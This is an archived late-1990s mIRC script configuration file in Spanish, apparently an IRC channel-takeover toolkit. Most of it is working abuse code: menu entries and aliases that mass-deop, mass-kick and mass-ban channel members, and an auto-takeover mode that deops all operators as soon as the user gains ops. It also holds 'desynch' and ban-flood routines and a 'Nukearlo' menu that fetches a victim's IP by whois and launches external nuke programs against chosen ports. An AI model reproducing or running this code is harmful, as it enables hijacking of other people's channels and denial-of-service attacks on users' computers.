home *** CD-ROM | disk | FTP | other *** search
/ CD Actual 16 / PC Actual CD 16.iso / cdactual / scripts / www / www.exe / taker / script.ini < prev    next >
Encoding:
INI File  |  1997-09-12  |  25.2 KB  |  478 lines

  1. [cpopup]
  2. n0=Entrar a un Canal:/join #$?="Channel?" 
  3. n1=-
  4. n2=Takeover al Canal: {
  5. n3=  if ($me isop #) { /md -t }
  6. n4=  else { error1 Has de tener OP }
  7. n5=}
  8. n6=Takeover Canal (menos alguien): {
  9. n7=  if ($me isop #) { /md -ts $$?="Nick a Proteger" }
  10. n8=  else { error1 Has de tener OP }
  11. n9=}
  12. n10=-
  13. n11=Desynch 1:/d1
  14. n12=Desynch 2:/d2
  15. n13=Desynch 3:/d3
  16. n14=Desynch 4:/d4 $$?="Direcci≤n? (l a m e r)"
  17. n15=-
  18. n17=&Automatico Deop
  19. n18=.On:/ad On
  20. n19=.Off:/ad Off
  21. n20=-
  22. n21=Masivo Kick:/mk
  23. n22=Masivo Ban:/mb
  24.  
  25. [users]
  26.  
  27. [script]
  28. n0=#scan.user off
  29. n1=raw 401:*: set %User.Nick 0 | halt
  30. n2=raw 301:*: set %User.Away Yes | set %User.Reason $3- | halt
  31. n3=raw 311:*: set %User.Nick $2 | set %User.Address $3 $+ @ $+ $4 | set %User.Name $6- | halt
  32. n4=raw 312:*: set %User.Server $3 $parm4* | set %User.Zerver $3 | halt
  33. n5=raw 313:*: set %User.IRCop Yes | halt
  34. n6=raw 317:*: set %User.Idle $3 | halt
  35. n7=raw 319:*: set %User.Channels $3- | halt
  36. n8=raw 318:* {
  37. n9=  if (%puertoz == On) { .disable #Scan.User | portscan | halt }
  38. n10=  if (%User.Nick == 0) { error1  $2 no esta en el IRC | unset %user.* | .disable #Scan.User | halt }
  39. n11=  window -moab @WH 50 50 650 180 20,20
  40. n12=  aline @WH  4whois de: %User.Nick  
  41. n13=  aline @WH  18Direcci≤n:1  %User.Address 
  42. n14=  aline @WH  18Nombre real:1  %User.Name 
  43. n15=  aline @WH  18Servidor:1  %User.Server 
  44. n16=  if (%User.Channels == $null) { aline @WH 18Canales:1 Ninguno }
  45. n17=  else { aline @WH 18Canales:1 %User.Channels }
  46. n18=  if (%User.Away != $null) { aline @WH 18Away:1 %User.Reason }
  47. n19=  if (%User.IRCop != $null) { aline @WH 18IRCop:1 %User.IRCop }
  48. n20=  aline @WH 4 Fin de Informacion de: %User.Nick  
  49. n21=  unset %User.* | .disable #Scan.User | halt
  50. n22=}
  51. n23=#Nuke off
  52. n24=raw 401:*: set %Nuke.Alive 0 | halt
  53. n25=raw 301:*: halt
  54. n26=raw 311:*: set %Nuke.Ip $4 | halt
  55. n27=raw 312:*: set %Nuke.Server $3 | halt
  56. n28=raw 313:*: halt
  57. n29=raw 317:*: halt
  58. n30=raw 319:*: halt
  59. n31=raw 318:* {
  60. n32=  if (%nuke.Alive == 0) { error1 No puedo proceder a nukear %Nuke.Nick  no esta en el IRC. | unset %nuke.* | .disable #nuke | halt }
  61. n33=  .disable #Nuke
  62. n34=  if (%cual == uno) { run $mircdirarmas\click4.exe %nuke.server %Nuke.IP }
  63. n35=  if (%cual == dos) { run $mircdirarmas\click.exe %nuke.server %Nuke.IP -clp %nuke.clp -chp %nuke.chp -sp %nuke.sp -ports %nuke.ports %nuke.side }
  64. n36=  if (%cual == cua) { run $mircdirarmas\wnuke4.exe -n %nuke.server %Nuke.IP 0 1024-2500 %nuke.pw }
  65. n37=  meni 18 -----------------------------------------------
  66. n38=  meni 4  NUKEANDO A:  $+ $chr(91) $+  $+ %Nuke.Nick $+ ( $+ %Nuke.IP $+ ) $+  $+ $chr(93) $+  
  67. n39=  meni 18 -----------------------------------------------
  68. n40=  unset %nuke.*
  69. n41=  unset %cual  | halt
  70. n42=}
  71. n43=#nuke end
  72. n44=raw 367:*: {
  73. n45=  if (%Group.Banlist == On) {
  74. n46=    set %Temp.Bans %Temp.Bans $parm3
  75. n47=    halt
  76. n48=  }
  77. n49=  halt
  78. n50=}
  79. n51=raw 368:*: {
  80. n52=  if (%Group.Banlist == On) {
  81. n53=    unban %Temp.Bans
  82. n54=    halt
  83. n55=  }
  84. n56=  halt
  85. n57=}
  86. n58=ctcp 1:*: {
  87. n59=  if ([ %Ctcp. [ $+ [ $site ] ] ] == $null) { set  %Ctcp. [ $+ [ $site ] ] 1 | .timer 1 10 /unset %Ctcp. [ $+ [ $site ] ] }
  88. n60=  if ([ %Ctcp. [ $+ [ $site ] ] ] > 1) {
  89. n61=    .ignore -ntu60 $nick 4 | .ignore -tu30 * 
  90. n62=    Echo 4 *** ATENCION! $nick ( $+ $address $+ ) esta $parm1 Floodeando! | unset %Ctcp. [ $+ [ $site ] ]
  91. n63=  }
  92. n64=  inc %Ctcp. [ $+ [ $site ] ] 1 | echo 4 -s $chr(91) $+ $nick $parm1 $+ $chr(93) | halt
  93. n65=}
  94. n66=;---------------------------------------------
  95. n67=;        Link Looker
  96. n68=;---------------------------------------------
  97. n69=on 1:SNOTICE:*Net*Break*: {
  98. n70=  echo 1 -s ----------------------------------------------------------------------------
  99. n71=  echo 2 -s 6òò NetSplit ╫ 4 $+ $parm7 $+  6òò
  100. n72=  echo 1 -s ----------------------------------------------------------------------------
  101. n73=  halt
  102. n74=}
  103. n75=on 1:SNOTICE:*Net*Junction*: {
  104. n76=  echo 1 -s -----------------------------------------------------------------------
  105. n77=  echo 2 -s 6òò NetMerge ╫ 4 $+ $parm7 $+  6òò
  106. n78=  echo 1 -s -----------------------------------------------------------------------
  107. n79=  halt
  108. n80=}
  109. n81=;---------------------------------------------
  110. n82=;      Server Op Protect
  111. n83=;---------------------------------------------
  112. n84=on 1:SNOTICE:*: halt
  113. n85=on @1!:SERVEROP:#:/mode $chan -o $opnick
  114. n86=;---------------------------------------------
  115. n87=;        Gain Ops
  116. n88=;---------------------------------------------
  117. n89=on 1!:PART:%Var.HopChan: {
  118. n90=  if (%Group.Hop == On) && ($chan == %Var.HopChan) && ($nick(1,$chan) == $me) && ($nick(2,$chan) == $null) && ($me !isop $chan) { raw -q part $chan | raw -q join $chan | echo 2 Intentando recuperar el op en $chan | halt } 
  119. n91=}
  120. n92=on 1!:QUIT {
  121. n93=  if (%Group.Hop == On) && ($nick(1,%Var.HopChan) == $me) && ($nick(2,%Var.HopChan) == $null) && ($me !isop %Var.HopChan) { raw -q part %Var.HopChan | raw -q join %Var.HopChan | echo 2 intentando recuperar el op en %Var.HopChan | halt } 
  122. n94=}
  123. n95=;---------------------------------------------
  124. n96=;        Auto Deop
  125. n97=;---------------------------------------------
  126. n98=on 1:OP:#: {
  127. n99=  if ($opnick == $me) && (%Group.AutoTakeover == On) {
  128. n100=    set %Var.Chan $chan
  129. n101=    set %i 1
  130. n102=    set %Var.Index 1
  131. n103=    if (undernet isin $server) { set %Var.Num 6 }
  132. n104=    else { set %Var.Num 4 }
  133. n105=    :start
  134. n106=    set %Var.User $opnick(%i,%Var.Chan)
  135. n107=    if (%Var.User == $null) { raw mode %Var.Chan -oooooo %Var.Nick | echo 6 # Mass Deop On # Complete! | unset %Var.Nick | unset %i | unset %Var.Chan | unset %Var.Index | unset %Var.Num | halt }
  136. n108=    if (%Var.User == $me) { inc %i 1 | goto start }
  137. n109=    if (%Var.User != $me) { set %Var.Nick %Var.User %Var.Nick | if (%Var.Index == %Var.Num) { raw mode %Var.Chan -oooooo %Var.Nick | unset %Var.Nick | set %Var.Index 1 | inc %i 1 | goto start } | inc %Var.Index 1 }  
  138. n110=    inc %i 1 
  139. n111=    goto start
  140. n112=  }  
  141. n113=}
  142. n114=alias /cb { set %Temp.BanChan # | set %Group.Banlist On | mode # b }
  143. n115=alias /unban {
  144. n116=  if (undernet isin $server) { 
  145. n117=    if ($1 != $null) { raw -q mode %Temp.BanChan -bbbbbb $1 $2 $3 $4 $5 $6 }
  146. n118=    if ($7 != $null) { raw -q mode %Temp.BanChan -bbbbbb $7 $8 $9 $10 $11 $12 }
  147. n119=    if ($13 != $null) { raw -q mode %Temp.BanChan -bbbbbb $13 $14 $15 $16 $17 $18 }
  148. n120=    if ($19 != $null) { raw -q mode %Temp.BanChan -bbbbbb $19 $20 $21 $22 $23 $24 }
  149. n121=    if ($25 != $null) { raw -q mode %Temp.BanChan -bbbbbb $25 $26 $27 $28 $29 $30 }
  150. n122=  }
  151. n123=  else { 
  152. n124=    if ($1 != $null) { raw -q mode %Temp.BanChan -bbbb $1 $2 $3 $4 }
  153. n125=    if ($5 != $null) { raw -q mode %Temp.BanChan -bbbb $5 $6 $7 $8 } 
  154. n126=    if ($9 != $null) { raw -q mode %Temp.BanChan -bbbb $9 $10 $11 $12 } 
  155. n127=    if ($13 != $null) { raw -q mode %Temp.BanChan -bbbb $13 $14 $15 $16 } 
  156. n128=    if ($17 != $null) { raw -q mode %Temp.BanChan -bbbb $17 $18 $19 $20 } 
  157. n129=    if ($21 != $null) { raw -q mode %Temp.BanChan -bbbb $21 $22 $23 $24 } 
  158. n130=    if ($25 != $null) { raw -q mode %Temp.BanChan -bbbb $25 $26 $27 $28 } 
  159. n131=    if ($29 != $null) { raw -q mode %Temp.BanChan -bb $29 $30 } 
  160. n132=  }
  161. n133=  secho Borrados bans en  %Temp.BanChan have been: 
  162. n134=  unset %Temp.* | set %Group.Banlist Off 
  163. n135=}
  164. n136=alias /go {
  165. n137=  if (*1 == $null) { error1 usa /GO [On|Off] [Canal] | halt }
  166. n138=  if ($1 != Off) && ($2 == $null) { error1 usa /GO [On|Off] [Canal] | halt }
  167. n139=  if ($1 == On) { set %Var.HopChan $2 | set %Group.Hop On | secho ON ganar Op ON | echo 2 -a 7th Intentando ganar Op en $2 cuando los demas usuarios no lo tengan. | halt }
  168. n140=  if ($1 == Off) { set %Group.Hop Off | secho 2 OFF Ganar Ops OFF | halt }
  169. n141=}
  170. n142=;-----------------------------------
  171. n143=;      Desynchs
  172. n144=;-----------------------------------
  173. n145=alias /d1 {
  174. n146=  if ($me !isop #) { error1 Tienes que ser OP! | halt }
  175. n147=  raw -q mode # +bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* 
  176. n148=  raw -q mode # -bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* 
  177. n149=  raw -q mode # +bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* 
  178. n150=  raw -q mode # -bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* 
  179. n151=  raw -q mode # +bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* 
  180. n152=  raw -q mode # -bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* 
  181. n153=  raw -q mode # +bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o*
  182. n154=  raw -q mode # -bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o* 
  183. n155=}
  184. n156=alias /d2 {
  185. n157=  if ($me !isop #) { error1 Tienes que ser OP! | halt }
  186. n158=  raw -q mode # +b-b+b-b+b-b *a*@* *a*@* *b*@* *b*@* *c*@* *c*@*
  187. n159=  raw -q mode # +b-b+b-b+b-b *1*@* *1*@* *2*@* *2*@* *3*@* *3*@*
  188. n160=  raw -q mode # +b-b+b-b+b-b *d*@* *d*@* *e*@* *e*@* *f*@* *f*@*
  189. n161=  raw -q mode # +b-b+b-b+b-b *4*@* *4*@* *5*@* *5*@* *6*@* *6*@*
  190. n162=  raw -q mode # +b-b+b-b+b-b *g*@* *g*@* *h*@* *h*@* *i*@* *i*@*
  191. n163=  raw -q mode # +b-b+b-b+b-b *7*@* *7*@* *8*@* *8*@* *9*@* *9*@*
  192. n164=  raw -q mode # +b-b+b-b+b-b *j*@* *j*@* *k*@* *k*@* *l*@* *l*@*
  193. n165=  raw -q mode # +b-b+b-b+b-b *m*@* *m*@* *n*@* *n*@* *o*@* *o*@*
  194. n166=}
  195. n167=alias /d3 { 
  196. n168=  if ($me !isop #) { error1 Tienes que ser OP! | halt }
  197. n169=  raw -q mode # +bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* 
  198. n170=  raw -q mode # +bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* 
  199. n171=  raw -q mode # +bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* 
  200. n172=  raw -q mode # +bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o*
  201. n173=  raw -q mode # -bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* 
  202. n174=  raw -q mode # -bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* 
  203. n175=  raw -q mode # -bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* 
  204. n176=  raw -q mode # -bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o*
  205. n177=}
  206. n178=alias /d4 { 
  207. n179=  if ($me !isop #) { error1 Tienes que ser OP! | halt }
  208. n180=  if (*1 = $null) { error1 usa /d4 q w e r t y | echo 4 Cambiar letras por direccion string | echo 4 por ej: /d4 l a m e r | halt }
  209. n181=  raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  210. n182=  raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  211. n183=  raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  212. n184=  raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  213. n185=  raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  214. n186=  raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  215. n187=  raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  216. n188=  raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  217. n189=}
  218. n190=alias /bb1 {
  219. n191=  if ($me !isop #) { error1 Tienes que ser OP! | halt }
  220. n192=  raw -q mode # +bbbb @ @ @ @ 
  221. n193=  raw -q mode # +bbbb @ @ @ @ 
  222. n194=  raw -q mode # +bbbb @ @ @ @ 
  223. n195=  raw -q mode # +bbbb @ @ @ @ 
  224. n196=}  
  225. n197=alias /bb2 {
  226. n198=  if ($me !isop #) { error1 Tienes que ser OP! | halt }
  227. n199=  raw -q mode # +bbbb ??????@????????????? !!!!!!@!!!!!!!!!!!!! ++++++@+++++++++++++ ------@------------- 
  228. n200=  raw -q mode # +bbbb ??????@????????????? !!!!!!@!!!!!!!!!!!!! ++++++@+++++++++++++ ------@------------- 
  229. n201=  raw -q mode # +bbbb ??????@????????????? !!!!!!@!!!!!!!!!!!!! ++++++@+++++++++++++ ------@------------- 
  230. n202=  raw -q mode # +bbbb ??????@????????????? !!!!!!@!!!!!!!!!!!!! ++++++@+++++++++++++ ------@------------- 
  231. n203=}
  232. n204=alias /bb3 {
  233. n205=  if ($me !isop #) { error1 Tienes que ser OP! | halt }
  234. n206=  raw -q mode # +bbbb ++++@++++++++++ ----@---------- ###-#@########## $$$$@$$$$$$$$$$
  235. n207=  raw -q mode # +bbbb ++++@++++++++++ ----@---------- ###-#@########## $$$$@$$$$$$$$$$
  236. n208=  raw -q mode # +bbbb ++++@++++++++++ ----@---------- ###-#@########## $$$$@$$$$$$$$$$
  237. n209=  raw -q mode # +bbbb ++++@++++++++++ ----@---------- ###-#@########## $$$$@$$$$$$$$$$
  238. n210=}
  239. n211=;-----------------------------------
  240. n212=;      Takeover shit
  241. n213=;-----------------------------------
  242. n214=alias /ad {
  243. n215=  if ($1 == On) {
  244. n216=    set %Group.AutoTakeover On 
  245. n217=    secho ON Automatico Massdeop ON
  246. n218=    echo 2 When given ops, you will automatically deop the entire channel.
  247. n219=  }
  248. n220=  if ($1 == Off) {
  249. n221=    set %Group.AutoTakeover Off
  250. n222=    secho OFF Automatico Massdeop OFF 
  251. n223=  }
  252. n224=  if (($1 != On) || ($1 != Off))  { error1 usa: /ad [On|Off] }
  253. n225=}
  254. n226=alias /rn {
  255. n227=  if (*1 == $null) { error1 usa /RN [On|Off] [Delay] | halt }
  256. n228=  if ($2 == $null) && ($1 != Off) { error1 usa /RN [On|Off] [Delay] | halt }
  257. n229=  set %Temp.Time $2 | set %temp.mode $1
  258. n230=  if (%temp.mode == On) {
  259. n231=    if (undernet isin $server) && (%temp.time <= 45) { error1 Undernet Only allows! }
  260. n232=    else { .timer11 0 %temp.Time /randnick | randnick | echo 2 Cambiando a nick aleatorio cada  %temp.time  segundos. }
  261. n233=  }
  262. n234=  if (%temp.mode == Off) { .timer11 Off | echo 2 OFF Nick aleatorio  OFF }
  263. n235=}
  264. n236=alias /lc {
  265. n237=  if ($me !isop #) { error1 Tienes que ser OP! | halt }
  266. n238=  if (*1 == $null) { error1 Usa /LC [On|Off] }
  267. n239=  if ($1 == On) {
  268. n240=    set %Var.Limited $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9)
  269. n241=    set %Var.Key $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9)
  270. n242=    mode # +smtink %Var.Key 
  271. n243=    secho Mirando este canal
  272. n244=  }
  273. n245=  if ($1 == Off) {
  274. n246=    mode # -smtink %Var.Key 
  275. n247=    secho No puedo mirar este canal
  276. n248=  }
  277. n249=}
  278. n250=alias /randnick /nick $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) 
  279. n251=alias /md {
  280. n252=  if ($me !isop #) { error1 Tienes que ser OP! | halt }
  281. n253=  set %Var.Chan $chan
  282. n254=  set %i 1
  283. n255=  set %Var.Index 1
  284. n256=  if (s isin $1) { set %Var.Safe $$2 }
  285. n257=  if (t isin $1) { set %Var.Take y }
  286. n258=  if (undernet isin $server) { set %Var.Num 6 }
  287. n259=  else { set %Var.Num 4 }
  288. n260=  :start
  289. n261=  set %Var.User $opnick(%i,%Var.Chan)
  290. n262=  if (%Var.User == $null) { 
  291. n263=    raw -q mode %Var.Chan -oooooo %Var.Nick 
  292. n264=    if (%Var.Take == y) { /mode # +smpti | /topic %Var.Chan (wWw) http://www.arrakis.es/~jotch }
  293. n265=    if (s isin $1) { raw -q mode # +o %Var.Safe | echo 2 -a Protegiendo: %Var.Safe }
  294. n266=    echo %color.echo -a Mass Deop Completo: #  
  295. n267=    unset %Var.Nick | unset %i | unset %Var.Chan | unset %Var.Index | unset %Var.Num | unset %Var.Safe | unset %Var.Take | halt 
  296. n268=  }
  297. n269=  if (%Var.User == $me) || (%Var.User == %Var.Safe) { inc %i 1 | goto start }
  298. n270=  if (%Var.User != $me) { set %Var.Nick %Var.User %Var.Nick | if (%Var.Index == %Var.Num) { raw -q mode %Var.Chan -oooooo %Var.Nick | unset %Var.Nick | set %Var.Index 1 | inc %i 1 | goto start } | inc %Var.Index 1 }  
  299. n271=  inc %i 1 
  300. n272=  goto start
  301. n273=}  
  302. n274=alias /mk {
  303. n275=  if ($me !isop #) { error1 Tienes que ser OP! | halt }
  304. n276=  set %i 1
  305. n277=  set %Var.Int 1
  306. n278=  :start
  307. n279=  set %Var.Nick $nick(%i,#)
  308. n280=  if (%Var.Nick == $null) { echo %color.echo # Mass Kick en # Completo! | unset %i | unset %Var.Nick | unset %Var.int | halt }
  309. n281=  if (%Var.Nick != $me) { kick # %Var.Nick Mass Kick! N·mero: %Var.Int | inc %Var.int 1 }
  310. n282=  inc %i 1  
  311. n283=  goto start  
  312. n284=}
  313. n285=on 1:START: { /dde wWw command "" /sf7 | /set %channel #$$?="canal a tomar" }
  314.  
  315. [lpopup]
  316. n0=Darle op://mode # +o $$1
  317. n1=-
  318. n2=&Nukearlo
  319. n3=.&Wnuke.IV
  320. n4=..4000:/set %cual cua | /set %nuke.pw 4000 | /nuke $$1
  321. n5=..4400:/set %cual cua | /set %nuke.pw 4400 | /nuke $$1
  322. n6=..-
  323. n7=..6665:/set %cual cua | /set %nuke.pw 6665 | /nuke $$1
  324. n8=..6666:/set %cual cua | /set %nuke.pw 6666 | /nuke $$1
  325. n9=..6667:/set %cual cua | /set %nuke.pw 6667 | /nuke $$1
  326. n10=..6668:/set %cual cua | /set %nuke.pw 6668 | /nuke $$1
  327. n11=..6669:/set %cual cua | /set %nuke.pw 6669 | /nuke $$1
  328. n12=..-
  329. n13=..7000:/set %cual cua | /set %nuke.pw 7000 | /nuke $$1
  330. n14=..7700:/set %cual cua | /set %nuke.pw 7700 | /nuke $$1
  331. n15=..-
  332. n16=..Otro:/set %cual cua | /set %nuke.pw $?="puerto:" | /nuke $$1
  333. n17=.-
  334. n18=.&Click1.4:/set %cual uno | /nuke $$1
  335. n19=.-
  336. n20=.Click2.2 (normal)
  337. n21=..4000:/set %cual dos | set %nuke.sp 4000 | /nuke $1 
  338. n22=..4400:/set %cual dos | set %nuke.sp 4400 | /nuke $1 
  339. n23=..-
  340. n24=..6665:/set %cual dos | set %nuke.sp 6665 | /nuke $1
  341. n25=..6666:/set %cual dos | set %nuke.sp 6666 | /nuke $1
  342. n26=..6667:/set %cual dos | set %nuke.sp 6667 | /nuke $1
  343. n27=..6668:/set %cual dos | set %nuke.sp 6668 | /nuke $1
  344. n28=..6669:/set %cual dos | set %nuke.sp 6669 | /nuke $1
  345. n29=..-
  346. n30=..7000:/set %cual dos | set %nuke.sp 7000 | /nuke $1
  347. n31=..7700:/set %cual dos | set %nuke.sp 7700 | /nuke $1
  348. n32=..-
  349. n33=..6665-6669:/set %cual dos | set %nuke.sp 6665-6669 | /nuke $1 
  350. n34=..-
  351. n35=..4000-7700:/set %cual dos | set %nuke.sp 4000,4400,6665-6669,7000,7700 | /nuke $1        
  352. n36=.Click 2.2 (otros)
  353. n37=..Puerto-fijo:/set %cual dos | set %nuke.sp 4000,4400,6665-6669,7000,7700 | /nuke $1 -port
  354. n38=..Puertos-altos:/set %cual dos | set %nuke.sp 4000,4400,6665-6669,7000,7700 | /nuke $1 -high 
  355. n39=..Server:/set %cual dos | set %nuke.sp 4000,4400,6665-6669,7000,7700 | /nuke $1 -server
  356.  
  357. [aliases]
  358. n0=/error  {  window -moab @_ 50 50 400 40 20,20  | echo 4 -a  $logo : ERROR  | echo 18 -a *1  }
  359. n1=/error1 {  window -moab @_ 50 50 400 40  20,20 | echo 4 -a  $logo : ERROR  | echo 18 -a *1  }
  360. n2=
  361. n3=/ad {
  362. n4=  if ($1 == On) {
  363. n5=    set %Group.AutoTakeover On 
  364. n6=    meni ON Automatico Masivo deop cuando te den @ ON
  365. n7=    meni  Cuando te den el op los desopearas automaticamente.
  366. n8=  }
  367. n9=  if ($1 == Off) {
  368. n10=    set %Group.AutoTakeover Off
  369. n11=    meni OFF Automatico Masivo deop OFF 
  370. n12=  }
  371. n13=}
  372. n14=/mk {
  373. n15=  if ($me !isop #) { error1 No eres OPerador del canal | halt }
  374. n16=  set %i 1
  375. n17=  set %Var.Int 1
  376. n18=  :start
  377. n19=  set %Var.Nick $nick(%i,#)
  378. n20=  if (%Var.Nick == $null) { meni  Masivo Kick en # Completo | unset %i | unset %Var.Nick | unset %Var.int | halt }
  379. n21=  if (%Var.Nick != $me) { kick # %Var.Nick Masivo Kick Numero: %Var.Int | inc %Var.int 1 }
  380. n22=  inc %i 1  
  381. n23=  goto start  
  382. n24=}
  383. n25=/md {
  384. n26=  if ($me !isop #) { error1 No eres OPerador del canal | halt }
  385. n27=  set %Var.Chan $chan
  386. n28=  set %i 1
  387. n29=  set %Var.Index 1
  388. n30=  if (s isin $1) { set %Var.Safe $$2 }
  389. n31=  if (t isin $1) { set %Var.Take y }
  390. n32=  if (undernet isin $server) { set %Var.Num 6 }
  391. n33=  else { set %Var.Num 4 }
  392. n34=  :start
  393. n35=  set %Var.User $opnick(%i,%Var.Chan)
  394. n36=  if (%Var.User == $null) { 
  395. n37=    raw -q mode %Var.Chan -oooooo %Var.Nick 
  396. n38=    if (%Var.Take == y) { /mode # +smpti | /topic # (wWw) vFinal "MeRcENaRioX" }
  397. n39=    if (s isin $1) { raw -q mode # +o %Var.Safe | meni Protegiendo: %Var.Safe }
  398. n40=    meni Masivo Deop Completo: #  
  399. n41=    unset %Var.Nick | unset %i | unset %Var.Chan | unset %Var.Index | unset %Var.Num | unset %Var.Safe | unset %Var.Take | halt 
  400. n42=  }
  401. n43=  if (%Var.User == $me) || (%Var.User == %Var.Safe) { inc %i 1 | goto start }
  402. n44=  if (%Var.User != $me) { set %Var.Nick %Var.User %Var.Nick | if (%Var.Index == %Var.Num) { raw -q mode %Var.Chan -oooooo %Var.Nick | unset %Var.Nick | set %Var.Index 1 | inc %i 1 | goto start } | inc %Var.Index 1 }  
  403. n45=  inc %i 1 
  404. n46=  goto start
  405. n47=}  
  406. n48=/checkk /dde www command "" /meni <<Takeover-Conectado>> Servidor: $server
  407. n49=/meni $logo
  408. n50=/d1 {
  409. n51=  if ($me !isop #) { error1 No eres OPerador de canal | halt }
  410. n52=  raw -q mode # +bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* 
  411. n53=  raw -q mode # -bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* 
  412. n54=  raw -q mode # +bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* 
  413. n55=  raw -q mode # -bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* 
  414. n56=  raw -q mode # +bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* 
  415. n57=  raw -q mode # -bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* 
  416. n58=  raw -q mode # +bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o*
  417. n59=  raw -q mode # -bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o* 
  418. n60=}
  419. n61=/d2 {
  420. n62=  if ($me !isop #) { error1 No eres OPerador de canal | halt }
  421. n63=  raw -q mode # +b-b+b-b+b-b *a*@* *a*@* *b*@* *b*@* *c*@* *c*@*
  422. n64=  raw -q mode # +b-b+b-b+b-b *1*@* *1*@* *2*@* *2*@* *3*@* *3*@*
  423. n65=  raw -q mode # +b-b+b-b+b-b *d*@* *d*@* *e*@* *e*@* *f*@* *f*@*
  424. n66=  raw -q mode # +b-b+b-b+b-b *4*@* *4*@* *5*@* *5*@* *6*@* *6*@*
  425. n67=  raw -q mode # +b-b+b-b+b-b *g*@* *g*@* *h*@* *h*@* *i*@* *i*@*
  426. n68=  raw -q mode # +b-b+b-b+b-b *7*@* *7*@* *8*@* *8*@* *9*@* *9*@*
  427. n69=  raw -q mode # +b-b+b-b+b-b *j*@* *j*@* *k*@* *k*@* *l*@* *l*@*
  428. n70=  raw -q mode # +b-b+b-b+b-b *m*@* *m*@* *n*@* *n*@* *o*@* *o*@*
  429. n71=}
  430. n72=/d3 { 
  431. n73=  if ($me !isop #) { error1 No eres OPerador de canal | halt }
  432. n74=  raw -q mode # +bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* 
  433. n75=  raw -q mode # +bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* 
  434. n76=  raw -q mode # +bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* 
  435. n77=  raw -q mode # +bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o*
  436. n78=  raw -q mode # -bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* 
  437. n79=  raw -q mode # -bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* 
